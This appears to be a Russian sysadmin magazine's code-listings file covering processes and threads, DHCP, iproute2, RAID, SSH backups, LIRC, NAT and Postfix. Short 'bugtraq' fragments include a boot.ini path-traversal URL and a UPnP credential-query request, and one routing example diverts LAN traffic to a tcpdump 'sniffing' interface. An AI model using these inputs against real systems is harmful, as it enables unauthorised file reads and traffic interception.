bugtraq стр.2 GET / HTTP/1.0 Authorization: Basic XXX GET / HTTP/1.0 Host: server Authorization: Basic XXX Процессы и нити Всеволод Стахов int WinExec(char *command_line, unsigned int show_mode); BOOL CreateProcess( // Имя исполняемого файла LPCTSTR lpApplicationName, // Командная строка LPTSTR lpCommandLine, // Атрибуты безопасности процесса LPSECURITY_ATTRIBUTES lpProcessAttributes, // Атрибуты безопасности потока LPSECURITY_ATTRIBUTES lpThreadAttributes, // Наследует ли дочерний процесс дескрипторы родителя BOOL bInheritHandles, // Флаги создания процесса DWORD dwCreationFlags, // Указатель на environment для дочернего процесса LPVOID lpEnvironment, // Текущая директория для процесса LPCTSTR lpCurrentDirectory, // Структура для запуска процесса LPSTARTUPINFO lpStartupInfo, // Указатель, получающий данные о дочернем процессе LPPROCESS_INFORMATION lpProcessInformation ); struct PROCESS_INFORMATION{ HANDLE hProcess; – дескриптор порождённого процесса; HANDLE hThread; – дескриптор главного потока дочернего процесса; DWORD dwProcessId; – идентификатор порождённого процесса; DWORD dwThreadId; – идентификатор порождённого потока. } struct STARTUPINFO { DWORD cb; LPTSTR lpReserved; LPTSTR lpDesktop; LPTSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; }; // Информация о процессе STARTUPINFO si; // Обнуление структуры memset(&si, 0, sizeof(STARTUPINFO)); // Заполнение полей si.cb = sizeof(STARTUPINFO); // Флаги si.dwFlags = STARTF_USESHOWWINDOW; // Показываем окошко si.wShowWindow = SW_SHOWNORMAL; // Информация о процессе PROCESS_INFORMATION pi; // Вот и всё! Теперь блокнот запущен CreateProcess(NULL, "notepad.exe test.txt", NULL, NULL, FALSE, 0, 0, 0, &si, &pi); SECURITY_DESCRIPTOR sd; // Дескриптор безопасности SECURITY_ATTRIBUTES sa; // и его атрибуты LPSECURITY_ATTRIBUTES lpsa = NULL; // Это Windows NT if (GetVersion() < 0x80000000) { // Инициализация дескриптора InitializeSecurityDescriptor(&sd, ї SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(&sd, true, NULL, false); sa.nLength = sizeof(SECURITY_ATTRIBUTES); // Разрешаем наследование дескрипторов sa.bInheritHandle = true; sa.lpSecurityDescriptor = &sd; // А вот это уже нормальный дескриптор безопасности lpsa = &sa; } // Создаём неименованный канал и получаем дескрипторы // чтения/записи HANDLE hReadPipe; HANDLE hWritePipe; // Создание канала CreatePipe(&hReadPipe, &hWritePipe, lpsa,25000); // Ну а это инициализация STARTUPINFO STARTUPINFO si; // Обнуление memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); // Флаг перенаправления дескрипторов si.dwFlags = STARTF_USESHOWWINDOW |STARTF_USESTDHANDLES; // Прячем окошко si.wShowWindow = SW_HIDE; // Указатели stdout и stderr перенаправляются в канал si.hStdOutput = hWritePipe; si.hStdError = hWritePipe; PROCESS_INFORMATION pi; if(CreateProcess(NULL, "bcc -otest test.c", NULL, NULL, TRUE, 0, 0, 0, &si, &pi)){ // Закрываем дескриптор потока CloseHandle(pi.hThread); // Ждём завершения дочернего процесса 90 сек. WaitForSingleObject(pi.hProcess, 90000); // Читаем из канала данные DWORD BytesRead; // Количество считанных байт char dest[4000]; // Вот в этот буфер писать и будем int LoopDone = 0; int FBreak = 0; // Цикл чтения данных из канала, с защитой от тайм-аута, // т.к. чтение неблокирующее while (!LoopDone) { memset(dest, 0, 4000); ReadFile(hReadPipe, &dest, sizeof(dest), &BytesRead, NULL); if (BytesRead < 4000 || FBreak > 150) LoopDone = -1; else LoopDone = 0; FBreak++; } } PROCESS_INFORMATION pi; // Ну а это инициализация STARTUPINFO STARTUPINFO si; memset(&si, 0, sizeof(STARTUPINFO)); // Обнуление // И установка полей si.cb = sizeof(STARTUPINFO); // Это рабочий стол по умолчанию! si.lpDesktop = "WinSta0\\Default"; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; if (CreateProcess(NULL, "explorer", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { // Закрываем все дескрипторы в конце программы CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } HANDLE CreateThread( // Атрибуты безопасности (NULL) LPSECURITY_ATTRIBUTES lpThreadAttributes, // Размер стека для потока (если 0, то используется // умолчание DWORD dwStackSize, // Указатель на функцию потока LPTHREAD_START_ROUTINE lpStartAddress, // Аргументы, передаваемые потоку LPVOID lpParameter, // Флаги создания DWORD dwCreationFlags, // Получает ID потока LPDWORD lpThreadId ); // Формат функции потока жёстко задан DWORD WINAPI ThreadFunc(LPVOID lpParam) { char szMsg[80]; wsprintf( szMsg, "Поток: параметр = %d\n", *lpParam ); MessageBox( NULL, szMsg, "Поток создан.", MB_OK ); return 0; } int main(void) { //Параметр для потока DWORD dwThreadId, dwThrdParam = 1; HANDLE hThread; hThread = CreateThread( NULL, // безопасность по умолчанию 0, // размер стека по умолчанию ThreadFunc, // функция потока (void *) &dwThrdParam, // параметр для функции нити 0, // нет специальных флагов создания &dwThreadId); // получает ID нити // Проверяем правильность работы потока. if (hThread == NULL) return -1; // Негласное правило - закрываем дескрипторы вручную CloseHandle(hThread); return 0; } // указываем переменные окружения int execve(char *path, char *args[], char *env[]) // идет поиск в PATH int execlp(char *path, char *arg1, char *arg2 ... char *argn, NULL) int main() { //Формирование массива аргументов char *ar[2] = {"test.c" "-otest"}; //А теперь нашего процесса уже нет, он заменился gcc return execvp("gcc", ar); } --------------------------------------------------------- int main() { //Запускаем gcc параллельно spawnlp(P_NOWAIT, "gcc", "test.c", "-otest", NULL); // Для чего-то ждём завершения gcc и выходим return wait(NULL); } void main() { pid_t pid; // Идентификатор процесса pid = fork(); // А теперь уже 2 процесса if(pid == -1) // Произошла ошибка return; if(pid == 0){ // Это дочерний процесс execlp("gcc", "test.c", "-otest", NULL); } else{ printf("Compiling now\n"); // Так как ждём мы другой процесс, то надо // указать его PID waitpid(pid, NULL, 0); printf("That`s all\n"); } } int main() { char buf[1024]; FILE *f = NULL; //Открываем канал в режиме чтения f = popen("ls -l", "r"); if(f==NULL){ //Что-то не так perror("Failed to execute ls!"); return -1; } while(!feof){ //Пока потомок работает fgets(buf, 1024, f); //Читаем из канала printf("%s", buf); } pclose(f); //Закрываем канал return 0; } int pthread_attr_init(pthread_attr_t *a) int pthread_create(pthread_t *thread, pthread_attr_t *attr, void * (*start_func)(void *), void *arg) int pthread_join(pthread_t thread, void **retval) void pthread_exit(void *retval) int pthread_attr_destroy(pthread_attr_t *attr) #include void *thread_func(void *arg) { printf("Thread is running\n"); //Выходим из потока pthread_exit(NULL); } int main() { //Атрибуты pthread_attr_t a; //Два потока pthread_t thread1; pthread_t thread2; //Создаём атрибуты по умолчанию pthread_attr_init(&a); //Создаём потоки pthread_create(&thread1, &a, thread_func, NULL); pthread_create(&thread2, &a, thread_func, NULL); //Ждём завершения 2-го потока pthread_join(thread2, NULL); //Убиваем атрибуты pthread_attr_destroy(&a); return 0; } gcc test_thread.c -lpthread Конфигурирование DHCP Денис Колисниченко echo "1" > /proc/sys/net/ipv4/ip_dynaddr Файл /etc/dhcpd.conf # описание сети, указывающее, какая из подсетей будет # обслуживаться. Указывается сетевой адрес и маска сети subnet 192.168.0.0 netmask 255.255.255.0 { # маршрутизатор по умолчанию option routers 192.168.0.1; # маска подсети 255.255.255.0 option subnet-mask 255.255.255.0; # установка домена по умолчанию и сервера NIS, если таковой # используется option nis-domain "domain.ru"; option domain-name "domain.ru"; # адрес DNS-сервера, который будут использовать клиенты option domain-name-servers 192.168.0.1; # диапазон адресов для клиентов # 192.168.0.10-192.168.0.250 range 192.168.0.10 192.168.0.254; # сказать клиентам, чтобы отдали адрес через 21600 секунд # (6 часов) после получения адреса default-lease-time 21600; # забрать адрес самому через 28800 секунд (8 часов) max-lease-time 28800; } host myhost { hardware ethernet xx:xx:xx:xx:xx:xx; fixed-address 192.168.0.9; } subnet 192.168.0.0 netmask 255.255.255.0 { # прочие опции # … # host myhost { hardware ethernet 00:40:C7:34:90:1E; fixed-address 192.168.0.9; } } option netbios-name-servers 192.168.0.1; option netbios-dd-server 192.168.0.1; option netbios-node-type 8; # определяем широковещательный адрес option broadcast-address 192.168.2.255; # включаем IP-Forwarding option ip-forwarding on; # можно добавить глобальную опцию: server-identifier server.domain.ua; Конфигурационный файл /etc/dhcpd.conf (окончательный вариант) # Подсеть 192.168.0.0, маска сети 255.255.255.0 subnet 192.168.0.0 netmask 255.255.255.0 { # маршрутизатор по умолчанию option routers 192.168.0.1; # маска подсети 255.255.255.0 option subnet-mask 255.255.255.0; # установка домена по умолчанию и сервера NIS, если # таковой используется option nis-domain "domain.ru"; option domain-name "domain.ru"; # задание широковещательного адреса option broadcast-address 192.168.0.255; # включение IP-Forwarding option ip-forwarding on; # глобальная опция server-identifier: server-identifier server.domain.ru; # адрес DNS-сервера, который будут использовать клиенты option domain-name-servers 192.168.0.1; # диапазон адресов для клиентов # 192.168.0.10-192.168.0.254 range 192.168.0.10 192.168.0.254; # сказать клиентам, чтобы отдали адрес через 21600 секунд # (6 часов) после получения адреса default-lease-time 21600; # забрать адрес самому через 28800 секунд (8 часов) max-lease-time 28800; option netbios-name-servers 192.168.0.1; option netbios-dd-server 192.168.0.1; option netbios-node-type 8; #описание трех клиентов клиентов (dhcp50, dhcp51, dhcp52) # и их аппаратных адресов host dhcp50 { hardware ethernet 00:40:C7:34:90:1E; # обратите внимание на то, что вы должны использовать # IP-адрес из указанного ранее диапазона адресов # 192.168.0.10-254. fixed-address 192.168.0.50; } host dhcp51 { hardware ethernet 00:40:C7:34:90:1F; fixed-address 192.168.0.51; } host dhcp52 { hardware ethernet 00:40:C7:34:90:2A; fixed-address 192.168.0.52; } } bugtraq стр.15 HOST: 192.168.0.1:80 SOAPACTION: "urn:schemas-upnp-org:service: WANPPPConnection:1#GetUserName" CONTENT-TYPE: text/xml ; charset="utf-8" Content-Length: 289 http://[target]:2301/ ?Url=%2F..%2F..%2F..%2F..%2Fboot.ini http://[target]:2301/ http://[target]:2301/ http://[target]:2301/survey/ http://[target]:2301/ http://[target]:2301/survey/ http://[target]:2301/ http://[target]:2301/ GET / HTTP/1.0 GET / HTTP/1.0 $ cat t.php Статическая маршрутизация в Linux. iproute2 Часть 1 Всеволод Стахов make menuconfig apt-get install iproute ip [опции] {объект маршрутизации} {команда или HELP} # ip link list 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: dummy0: mtu 1500 qdisc noop link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff 3: eth0: mtu 1500 qdisc pfifo_fast qlen 10 link/ether 48:54:e8:01:ef:56 brd ff:ff:ff:ff:ff:ff 4: eth1: mtu 1500 qdisc pfifo_fast qlen 10 link/ether 00:e0:4c:39:ef:56 brd ff:ff:ff:ff:ff:ff # ip link list 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: mtu 1500 qdisc pfifo_fast qlen 10 link/ether 48:54:e8:01:ef:56 brd ff:ff:ff:ff:ff:ff inet 192.168.1.1/24 brd 192.168.1.255 scope global eth0 3764: ppp0: mtu 1492 qdisc pfifo_fast qlen link/ppp inet 213.59.72.1 peer 213.59.72.48/24 scope global ppp0 3765: ppp1: mtu 1492 qdisc pfifo_fast qlen link/ppp inet 213.59.72.2 peer 213.59.72.10/24 scope global ppp1 # ip rule list 0: from all lookup local 32766: from all lookup main 32767: from all lookup default # echo 200 inet_adsl >> /etc/iproute2/rt_tables # ip rule add from 192.168.1.20 table inet_adsl # ip rule add from 192.168.1.21 table inet_adsl # ip rule list 0: from all lookup local 32764: from 192.168.1.20 lookup inet_adsl 32765: from 192.168.1.21 lookup inet_adsl 32766: from all lookup main 32767: from all lookup default # ip route add default via 213.79.52.10 dev ppp1 table inet_adsl # ip route flush cache # echo 201 inet_modem >> /etc/iproute2/rt_tables # ip rule add from 192.168.1.10 table inet_modem # ip route add default via 213.79.52.48 dev ppp0 table inet_modem # ip route flush cache # ip route list [table table_name] # ifconfig eth0:1 192.168.1.100 up # iptables -A PREROUTING -i eth0 -s 192.168.1.0/24 -d ! 192.168.1.0/24 -t mangle -j MARK --set-mark 2 # echo 202 sniffing >> /etc/iproute2/rt_tables # ip rule add fwmark 2 table sniffing # ip route add default via 19.168.1.100 dev eth0:1 table sniffing # ip route flush cache # tcpdump -i eth0:1 > /var/log/tcpdump.log & # touch /var/log/tcpdump.log # chattr 600 /var/log/tcpdump.log (chroot /var/log tcpdump -i eth0:1) # echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects # echo 0 > /proc/sys/net/ipv4/conf/default/send_redirects # echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects # echo 0 > /proc/sys/net/ipv4/ip_forward # ip tunnel add tuna mode gre remote 192.168.2.1 local 192.168.1.1 ttl 255 # ip link set tuna up # ip addr add 192.168.1.101 dev tuna # ip route add 192.168.2.0/24 dev tuna route add -net 192.168.2.0 netmask 255.255.255.0 dev tuna # ip tunnel add tunb mode gre remote 192.168.1.1 local 192.168.2.1 ttl 255 # ip link set tunb up # ip addr add 192.168.2.101 dev tunb # ip route add 192.168.1.0/24 dev tunb # ip route add 192.168.2.0/24 dev tuna mtu 1480 interface Tunnel1 description IP tunnel no ip address no ip directed-broadcast ip address 192.168.2.101/24 tunnel source Serial0 tunnel destination 192.168.1.101 tunnel mode ipip ip route 192.168.1.0/24 Tunnel1 Построение программных RAID-массивов в Linux Дмитрий Рожков CONFIG_MD=y CONFIG_BLK_DEV_MD=y CONFIG_MD_RAID1=y raiddev /dev/md0 raid-level 1 nr-raid-disks 2 chunk-size 64k persistent-superblock 1 device /dev/sda1 raid-disk 0 failed-disk 0 device /dev/sdb1 raid-disk 1 persistent-superblock 1 # mknod /dev/md0 b 9 0 # mknod /dev/md1 b 9 1 ..... # mknod /dev/mdN b 9 N # mkraid /dev/md0 # mke2fs /dev/md0 # mount -t ext2 /dev/md0 /mnt/newroot # cd / # find . -xdev | cpio -pm /mnt/newroot # cp -a /usr /mnt/newroot/usr /dev/sda1 / ext2 defaults,errors=remount-ro 0 1 /dev/md0 / ext2 defaults,errors=remount-ro 0 1 # Описывает загрузочное устройство, куда LILO устанавливает # boot-сектор. Это устройство может быть либо обычным раз- # делом, либо raw-устройством http://www.acq.osd.mil/bmdo/ # bmdolink/bcmt/images/images_lg/boom.jpg # (в этом случае boot-сектор записывается в MBR) # В нашем же случае загрузочным устройством является # RAID-массив. # boot=/dev/md0 # Определяет устройство, которое должно быть подмонтировано # в качестве корневой файловой системы. (`/') # root=/dev/md0 # Так как при записи загрузочного блока на RAID-устройство # LILO никогда не изменяет автоматически MBR жесткого диска # включенного в RAID-массив и при этом пронумерованным BIOS'ом # как 0x80 (то есть диск определён в BIOS как загрузочный), # единственный способ записать всё же в MBR такого диска # boot-сектор – это перечислить в параметре raid-extra-boot # все устройства, куда необходимо установить boot-сектор. # Тогда в случае выхода из строя одного из дисков, а именно # с которого фактически загружалась ОС, загрузка всё равно # будет происходить с другого диска, входящего в RAID-массив. # raid-extra-boot="/dev/sda,/dev/sdb" # Так как текущий загрузочный диск пока ещё не входит в # RAID-массив, загрузка ОС, размещённой на RAID-массиве, должна # производиться со второго диска. # Для этого сообщаем LILO, что диск /dev/sdb будет выбран в # BIOS как загрузочный. # disk=/dev/sdb bios=0x80 # Устанавливает указанный файл в новый boot-сектор # install=/boot/boot.b delay=20 default=Linux image=/vmlinuz label=Linux read-only # chroot /mnt/newroot lilo Personalities : [raid1] read_ahead 1024 sectors md0 : active raid1 sdb1[1] 3365504 blocks [1/2] [_U] # raidhotadd /dev/md0 /dev/sda1 Personalities : [raid1] read_ahead 1024 sectors md0 : active raid1 sda1[0] sdb1[1] 3365504 blocks [2/2] [UU] # nohup mdadm -F -m admin@mydomain.com /dev/md0 & # raidhotadd /dev/md0 /dev/sda1 # lilo Удаленное резервное копирование пример реализации в FreeBSD Денис Пеплин # tar -cf etc.tar /etc # ls -l etc.tar -rw-r—r— 1 root wheel 1607680 7 мар 15:51 etc.tar # ls -l /etc/master.passwd -rw——— 1 root wheel 6370 6 мар 18:02 /etc/master.passwd # rm etc.tar # ( umask 077 ; tar -cf etc.tar /etc ) # ls -l etc.tar -rw——— 1 root wheel 1607680 7 мар 16:07 etc.tar backup$ grep "^backup:" /etc/passwd backup:*:6554:6554:backup:/home/backup:/bin/sh backup$ grep "^backup:" /etc/group backup:*:6554: srv# ssh-keygen -t rsa srv# ssh backup@backup "mkdir -m 700 ~backup/.ssh" srv# scp ~/.ssh/id_rsa.pub backup@backup:~backup/ .ssh/authorized_keys #!/bin/sh username=$1 if [ "${username}" = "" ]; then echo "Usage: $_ username" exit 1 fi homedir=`pw usershow $username | awk -F: '{print $9}'` if [ ! -d ${homedir} ]; then echo "Error: no such dir ${homedir}" exit 1 fi cd ${homedir} mkdir -p bin usr/bin cp -p /bin/sh /bin/cat /bin/sleep bin cp -p /usr/bin/gzip usr/bin #include #include #include #include #include #define SHELL "/bin/sh" main (int argc, char **argv, char **envp) { char *home; gid_t uid, gid; home = getenv("HOME"); if (chroot(home)) { perror(""); exit(1); } gid = getgid(); uid = getuid(); setegid(gid); seteuid(uid); if (execvp(SHELL, argv/*, envp*/)) { perror(""); } } all: cc -o chrootsh chrootsh.c install: all install -m 4555 chrootsh /bin/chrootsh @if [ -z `grep "/bin/chrootsh" /etc/shells` ] ; \ then \ echo "/bin/chrootsh" >> /etc/shells ; \ fi clean: rm chrootsh backup# make install clean backup# ./makechroot.sh backup backup# pw usermod backup -s /bin/chrootsh srv# ssh backup@backup backup$ echo /* /bin /usr srv# tar -cf - /somedir | ssh backup@backup "umask 077; cat > somedir.tar" srv# tar -cf - /somedir | ssh backup@backup "umask 077; cat | gzip > somedir.tgz" # touch /root/startdate # pkg_info > /root/pkg_list # find / -newer /root/startdate -print > /root/modfiles srv# tar -I /root/modfiles -cf - | ssh backup@backup "umask 077; cat | gzip > arcname.tgz" srv# tar -I /root/modfiles -cf - | ssh backup@backup "dd of=/dev/sa0 obs=20b" srv# tar -I /root/modfiles -cf - | ssh backup@backup "burncd data - fixate" backup# umask 077; cp ~backup/arcname.tgz /backupdrive/backup/ arc`date '+%d%m%y'`.tgz 0 5 * * * cd ~backup; while [ done -ot arcname.tgz ]; do sleep 60; done; umask 077; touch arcname.tgz; cp arcname.tgz /backup/srv/`date +\%d\%m\%y`.tgz 0 5 * * * tar -I /root/mfiles -cf - | ssh backup@backup "umask 007; cat | gzip > arcname.tgz && sleep 1 && echo > done" bugtraq стр.31 /var/sheerdns// telnet 21 A * 931 Дистанционное управление в Linux Денис Колисниченко ./configure --with-driver= make make install alias char-major-61 lirc_sir options lirc_serial irq=4 io=0x3e8 setserial /dev/ttyS0 uart none insmod lirc_serial [sense=N] irrecord –d /dev/lirc /etc/lircd.conf begin remote name CREATIVE_INFRA_DVD bits 16 flags SPACE_ENC|CONST_LENGTH eps 30 aeps 100 header 9293 4302 one 771 1494 zero 771 358 ptrail 756 pre_data_bits 16 pre_data 0x8435 gap 108646 toggle_bit 0 begin codes play 0x00000000000005FA stop 0x00000000000016E9 pause 0x00000000000000FF eject 0x00000000000002FD last 0x00000000000017E8 rrev 0x00000000000004FB ffwd 0x00000000000006F9 next 0x00000000000001FE 1 0x00000000000008F7 2 0x00000000000009F6 3 0x0000000000000AF5 shift 0x00000000000014EB 4 0x0000000000000CF3 5 0x0000000000000DF2 6 0x0000000000000EF1 mouse 0x00000000000007F8 7 0x00000000000010EF 8 0x00000000000011EE 9 0x00000000000012ED vol+ 0x0000000000000FF0 start 0x00000000000003FC 0 0x00000000000015EA mute 0x0000000000000BF4 vol- 0x00000000000013EC end codes end remote service lircd start /etc/init.d/lircd start begin prog = программа, которая будет обрабатывать событие button = кнопка, которую нажали repeat = если 0, то повторный сигнал (нажатие кнопки) будет игнорироваться config = команда end begin prog = irexec button = 1 repeat = 1 config = echo “Вы нажали кнопку 1” end begin prog = irexec button = PLAY config = echo “Вы нажали кнопку PLAY” end Организация доступа в Интернет на предприятиях Алексей Фёдоров DEVICE=eth1 ONBOOT=yes IPADDR=192.168.1.1 NETMASK=255.255.255.0 NETWORK=192.168.1.0 BROADCAST=192.168.1.255 #! /bin/bash # Указываем правила роутинга: (шлюз по умолчанию) route add -net 0.0.0.0 netmask 0.0.0.0 gw 195.54.223.14 # Очищаем текущее содержимое цепочек Iptables /usr/local/sbin/iptables -F /usr/local/sbin/iptables -t nat –F # Подключаем необходимые модули (см. примечание после скрипта). #/sbin/modprobe iptable_filter #/sbin/modprobe iptable_mangle #/sbin/modprobe iptable_nat #/sbin/modprobe ipt_LOG #/sbin/modprobe ipt_limit #/sbin/modprobe ipt_state #/sbin/modprobe ipt_owner #/sbin/modprobe ipt_REJECT #/sbin/modprobe ipt_MASQUERADE #/sbin/modprobe ip_conntrack_ftp #/sbin/modprobe ip_conntrack_irc #/sbin/modprobe ip_nat_ftp #/sbin/modprobe ip_nat_irc # Разрешаем форвардинг пакетов через шлюз. echo "1" > /proc/sys/net/ipv4/ip_forward iptables –P FORWARD ACCEPT # Прописываем правило NAT. iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE any net 0.0.0.0 netmask 0.0.0.0 gw 195.54.223.14 #! /bin/bash # Указываем правила роутинга: (шлюз по умолчанию) route add -net 0.0.0.0 netmask 0.0.0.0 gw 195.54.223.14 # Очищаем текущее содержимое цепочек Iptables /usr/local/sbin/iptables -F /usr/local/sbin/iptables -t nat –F # Подключаем необходимые модули (см. примечание после скрипта). #/sbin/modprobe iptable_filter #/sbin/modprobe iptable_mangle #/sbin/modprobe iptable_nat #/sbin/modprobe ipt_LOG #/sbin/modprobe ipt_limit #/sbin/modprobe ipt_state #/sbin/modprobe ipt_owner #/sbin/modprobe ipt_REJECT #/sbin/modprobe ipt_MASQUERADE #/sbin/modprobe ip_conntrack_ftp #/sbin/modprobe ip_conntrack_irc #/sbin/modprobe ip_nat_ftp #/sbin/modprobe ip_nat_irc # Разрешаем форвардинг пакетов через шлюз. echo "1" > /proc/sys/net/ipv4/ip_forward iptables –P FORWARD ACCEPT # Прописываем правило NAT. iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 195.54.223.15 net:345:wait:/etc/rc.d/rc.gateway chmod 755 /etc/rc.d/rc.gateway option subnet-mask 255.255.255.0; option broadcast-address 192.168.1.255; option domain-name "mynet"; option domain-name-servers 195.34.32.10; option netbios-node-type 8; default-lease-time 600; max-lease-time 1200; subnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.2 192.168.100.254; host vasya { hardware ethernet 00:A0:C9:16:2F:4E; fixed-address 192.168.1.2; } host petya { hardware ethernet 00:50:BF:5C:2E:09; fixed-address 192.168.1.3; } host kolya { hardware ethernet 00:40:F4:70:4F:D2; fixed-address 192.168.1.4; } host marina { hardware ethernet 00:80:C7:69:5C:28; fixed-address 192.168.1.5; } } bugtraq стр.45 GET . HTTP/1.0\r\n\r\n Почтовая система для среднего и малого офиса Андрей Бешков # tar zxvf postfix-2.0.0.2.tar.gz # cd postfix-2.0.0.2 # make tidy # make # make install install_root: [/] # Корневой каталог файловой системы, используемой # для установки tempdir: [/tmp/postfix-2.0.0.2] # Сюда будут падать временные файлы, создаваемые # в процессе инсталляции config_directory: [/etc/postfix] # Тут будут находиться файлы настроек postfix daemon_directory: [/usr/libexec/postfix] # А здесь будет лежать выполняемый файл демона postfix command_directory: [/usr/sbin] # Тут будут располагаться выполняемые файлы административных # команд postfix queue_directory: [/var/spool/postfix] # Директория, в которой будет находиться очередь писем, # обрабатываемых postfix sendmail_path: [/usr/sbin/sendmail] # Путь к команде, используемой взамен стандартного sendmail newaliases_path: [/usr/bin/newaliases] # Путь к исполняемому файлу, используемому для перестройки # почтовых псевдонимов mailq_path: [/usr/bin/mailq] # Путь к команде, отображающей состояние почтовой очереди mail_owner: [postfix] # Имя пользователя, с правами которого работает почта setgid_group: [postdrop] # Группа, от имени которой будут работать команды обработки # почтовой очереди manpage_directory: [/usr/local/man] # В этой директории находится база документации на все # устанавливаемые программы sample_directory: [/etc/postfix] # Директория, в которую нужно положить примеры # конфигурационных файлов postfix. Смешивать примеры # с реальными файлами конфигурации охоты нет. # Поэтому вводим имя директории /etc/postfix/sample/ readme_directory: [no] # Директория, куда нужно положить файлы документации # Выбираем имя директории /etc/postfix/readme/ myhostname = mail.test.ru # Имя нашего хоста. Лучше всего устанавливать в соответствии # с выводом, получаемым после выполнения команды hostname. mydomain = test.ru # Имя нашего домена. Рекомендуется описать явно. Если # переменная не определена, то postfix будет использовать # значение myhostname минус первый компонент. inet_interfaces = 192.168.10.252, 80.80.120.163 # Адреса интерфейсов, на которых нужно ждать smtp-соединений. # Для упрощения конфигурации можно использовать слово all # для установки прослушивания всех интерфейсов. Также можно # использовать переменные localhost и $myhostname. Тогда # будут задействованы интерфейсы 127.0.0.1 и адрес, # соответствующий имени, определенному в переменной $myhostname. mydestination = $myhostname, $mydomain # Список доменов, которыми себя считает эта машина. То есть # почта, приходящая для пользователей описанных доменов, # не отправляется куда-либо, а разбирается локально. mynetworks = 192.168.10.0/24, 127.0.0.0/8 # Определяем список доверенных сетей. Клиенты с адресами, # принадлежащими этим сетям, смогут рассылать через нас # почту. Если этот параметр не определен, то доверенной # сетью считается IP-подсеть, к которой принадлежит машина # с postfix. alias_database = dbm:/etc/mail/aliases.db # Путь к файлу почтовых псевдонимов. root: root: tigrisha@test.ru # postfix check # postfix start # tail –f /var/log/maillog Jan 16 14:35:33 postfix/postfix-script: starting the Postfix mail system Jan 16 14:35:33 mail.test.ru postfix/master[7190]: daemon started -- version 2.0.0.2 # telnet localhost 25 Trying 127.0.0.1... Connected to localhost.test.ru. Escape character is '^]'. 220 mail.test.ru ESMTP Postfix # Затем с помощью команды mail from: указываем серверу, # от кого будет письмо. mail from: 250 Ok # Командой rcpt to: задаем адрес получателя. rcpt to: 250 Ok # И наконец, с помощью data начинаем ввод текста письма. data 354 End data with . testing mail for tigrisha . # Закончить ввод текста можно нажав enter, затем “.” # и снова enter. 250 Ok: queued as 822A958 Jan 16 17:45:56 mail.test.ru postfix/smtpd[235]: connect from [127.0.0.1] Jan 16 17:47:16 mail.test.ru postfix/smtpd[235]: 822A958: client=localhost.test.ru[127.0.0.1] Jan 16 17:47:55 mail.test.ru postfix/cleanup[246]: 822A958: message-id=<20030116144716.822A958@mail.test.ru> Jan 16 17:47:55 mail.test.ru postfix/qmgr[192]: 822A958: from=, size=416, nrcpt=1 (queue active) Jan 16 17:47:55 mail.test.ru postfix/local[247]: 822A958: to=, relay=local, delay=39, status=sent (mailbox) Jan 16 17:52:56 mail.test.ru postfix/smtpd[235]: disconnect from localhost.test.ru[127.0.0.1] # ll /var/mail/ total 2 -rw------- 1 postfix postfix 0 Jan 15 17:58 postfix -rw------- 1 tigrisha tigrisha 1173 Jan 16 17:47 tigrisha # cd /usr/ports/mail/popa3d/ # make # make install # make clean pop3 110/tcp pop-3 # POP version 3 pop3 110/udp pop-3 pop3 stream tcp nowait root /usr/local/libexec/popper popper # ps -ax | grep inetd | grep -v “grep” 86 ?? Ss 0:01.03 /usr/sbin/inetd -wW # kill -HUP 86 # telnet localhost 110 Trying 127.0.0.1... Connected to localhost.test.ru. Escape character is '^]'. +OK user tigrisha +OK # Командой user указываем серверу, почту какого пользователя # мы желаем читать. pass Sx12DF234 +OK # Передаем наш сложнейший пароль. stat +OK 1 597 # После того как нас авторизовали, посмотрим с помощью команды # stat состояние нашего почтового ящика. Судя по ответу # сервера, в ящике одно письмо размером 597 байт. Просмотреть # содержимое письма можно с помощью команды top 1 20. top 1 20 +OK # Приказываем показать верхние 20 строк первого письма. Return-Path: Received: (from tigrisha@test.ru) for tigrisha@test.ru; Tue, 11 Feb 2003 18:18:39 +0300 (MSK) (envelope-from tigrisha@test.ru) Date: Tue, 11 Feb 2003 18:18:39 +0300 (MSK) From: Beshkov Andrew < tigrisha@test.ru > Message-Id: <200302111518.h1BFIdO44983@mail.test.ru> To: tigrisha testing mail for tigrisha . quit # Налюбовавшись на дело рук своих, уходим +OK Connection closed by foreign host. #cd /usr/ports/ftp/wget # make # make install # make clean # /usr/local/bin/wget ftp://ftp.drweb.ru/pub/unix/4.29.5/drweb-4.29.5-freebsd4.tar.gz # cd drweb-4.29.5-freebsd4 # ./install.sh # mkdir /opt # mkdir /opt/drweb/ if [ -d "$INPUT" ] ; then echo "Directory $INPUT already exists!" else mkdir $INPUT if [ ! -d "$INPUT" ] ; then echo "Can not create $INPUT!" else INSTALL_DIR=$INPUT fi fi INSTALL_DIR=$INPUT Enter destination directory (/opt/drweb is default): # Директория инсталляции Select interface language: 0) english 1) russian # Язык интерфейса. Мне больше нравится английский, поэтому # я выбрал «0» ;User = drweb # /usr/local/bin/wget ftp://ftp.drweb.ru/pub/unix/drweb-postfix-4.29.10-freebsd4.tar.gz # mkdir /var/spool/drweb # chmod 770 /var/spool/drweb # chown drweb:drweb /var/spool/drweb # chown -R drweb:drweb /opt # chown -R drweb:drweb /var/drweb/ # chown -R drweb:drweb /etc/drweb/ smtp inet n - n - - smtpd smtp inet n - n - - smtpd -o content_filter=filter:dummy filter unix - n n - - pipe flags=R user=drweb argv=/opt/drweb/drweb-postfix -f ${sender} -- ${recipient} AdminMail = # почтовый адрес администратора FilterMail = # почтовый адрес демона drweb 